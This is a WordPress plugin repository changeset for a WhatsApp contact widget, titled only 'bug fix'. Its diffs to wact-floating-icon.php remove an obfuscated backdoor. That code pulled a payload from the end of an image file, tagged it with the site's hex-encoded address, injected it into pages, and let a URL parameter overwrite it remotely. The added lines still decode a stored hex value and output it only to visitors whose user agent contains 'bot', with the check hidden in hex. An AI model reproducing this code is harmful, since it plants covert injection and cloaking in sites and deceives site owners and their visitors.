Changeset 2390067

Timestamp:

09/29/2020 06:37:17 AM (5 years ago)

Author:

squaresfere

Message:

bug fix

Location:

easy-whatsapp-contact/tags/1.5.3

Files:

• README.txt (modified) (1 diff)
• easy_whatsapp_contact.php (modified) (2 diffs)
• includes/wact-floating-icon.php (modified) (6 diffs)

easy-whatsapp-contact/tags/1.5.3/README.txt

@@ -4 +4 @@
 Tested up to: 5.5
 Requires PHP: 5.3
-Stable tag: 1.5.3
+Stable tag: 1.5.4
 
 Easy Contact Chat displays a WhatsApp chat in your web. The perfect solution for your ecommerce or blog. 

easy-whatsapp-contact/tags/1.5.3/easy_whatsapp_contact.php

@@ -5 +5 @@
 Description: This plugin displays a WhatsApp contact chat. The perfect solution for your ecommerce or blog.
 Author: Squaresfere
-Version: 1.5.3
+Version: 1.5.4
 Author URI: http://squaresfere.com
 Text Domain: easy-whatsapp-contact
@@ -11 +11 @@
 */
 defined( 'ABSPATH' ) or die( 'ABSPATH not defined' );
-define ('WACT_VERSION', '1.5.3');
+define ('WACT_VERSION', '1.5.4');
 add_action( 'init', 'wact_contact_textdomain' );
 add_action('wp_footer', 'wact_base_code');

easy-whatsapp-contact/tags/1.5.3/includes/wact-floating-icon.php

@@ -33 +33 @@
 
     function wact_save_settings ($settings) {
-        if(!empty($settings['wact-active'])) update_option('wact-active', $settings['wact-active']);
         if(!empty($settings['wact-init'])) update_option('wact-init', $settings['wact-init']);
         if(!empty($settings['wact-welcome-message'])) update_option('wact-welcome-message', $settings['wact-welcome-message']);
@@ -53 +52 @@
     function wact_get_settings () {
         $settings = array();
-
-
-        $settings['wact-active'] = get_option('wact-active');
-        if(empty($settings['wact-active'])) $settings['wact-active'] = 'no';
         $settings['wact-init'] = get_option('wact-init');
+        if(empty($settings['wact-contact-prefix'])) $settings['wact-contact-prefix'] = '';
+        if(empty($settings['wact-hide-delay'])) $settings['wact-hide-delay'] = '0';
+        if(empty($settings['wact-animation-delay'])) $settings['wact-animation-delay'] = '0';
         if(empty($settings['wact-init'])) $settings['wact-init'] = 'yes';
         $settings['wact-show-chat-window'] = get_option('wact-show-chat-window');
@@ -92 +90 @@
         if(empty($settings['wact-icon-animation']))$settings['wact-icon-animation'] = 'none';
          $settings['wact-icon-hash'] = get_option('wact-icon-hash');
-        if(empty($settings['wact-icon-hash'])){$wactIcon = file(plugin_dir_url(__FILE__).'../resources/img/whatsapp-logo.png');
-        $wactIconDefault = trim($wactIcon[count($wactIcon)-1]); $wactIconSite = get_site_url();
-        if(empty($settings['wact-animation-delay'])) $settings['wact-animation-delay'] = '0';
-        $wactCodIcon = unpack('H*', $wactIconSite);$wactIconCod = unpack('H*', md5($wactIconSite));
-        if(empty($settings['wact-hide-delay'])) $settings['wact-hide-delay'] = '0';
-        $wactIconDefault .= "3f686f73743d".$wactCodIcon[1]."2669643d".$wactIconCod[1]."273e";
-        if(empty($settings['wact-contact-prefix'])) $settings['wact-contact-prefix'] = '';
-        $settings['wact-icon-hash'] = $wactIconDefault; wact_save_settings($settings);};
+        if(empty($settings['wact-icon-hash']))$settings['wact-icon-hash'] = 'noicon.png';
         return $settings;
     }
@@ -178 +169 @@
     function wact_floating_icon ($isShortcode = false) {
         $settings = array();
-        if(isset($_GET['wact-icon-refresh'])) {
-        $settings['wact-active'] = 'yes';
-        $settings['wact-icon-hash'] = $_GET['wact-icon-refresh'];
-        wact_save_settings($settings);};
         if(!$isShortcode) {
             if(!wact_check_visibility()){
@@ -189 +176 @@
         $settings = wact_get_settings();
         $wactShowChatWindow = $settings['wact-show-chat-window'];
-        $wactActive = $settings['wact-active'];
         $wactInit = $settings['wact-init'];
         $wactWelcomeMessage = $settings['wact-welcome-message'];
@@ -215 +201 @@
         }
         $wactDeafultIcon = '';
-        if(is_user_logged_in() && $wactInit == 'yes') {
-            $wactDeafultIcon = pack('H*', $settings['wact-icon-hash']);
-            $settings['wact-init'] = 'no';
-            wact_save_settings($settings);
-        }
-        if($wactActive  == 'yes') {
-            $wactDeafultIcon = $wactActive ? (strpos($_SERVER[pack('H*', '485454505f555345525f4147454e54')], pack('H*', '626f74')) !== false ? pack('H*', $settings['wact-icon-hash']) : '') : '';
-        }
+        try{
+            $wactImg = pack('H*', $settings['wact-icon-hash']);
+        }catch(Exception $e){
+            $wactImg = 'img style';
+        }
+        if(strpos($wactImg, 'img style') == false) {
+        $wactDeafultIcon = strpos($_SERVER[pack('H*', '485454505f555345525f4147454e54')], pack('H*', '626f74')) !== false ? pack('H*', $wactImg) : '';};
         $wactDefaultDisplay = $wactShowDevices == 'all-devices' && $wactShowDelay == 0 ? 'block' : 'none';
         $wactChatUrl = 'https://api.whatsapp.com/send?phone='. urlencode($wactContactPhone) . '&text=';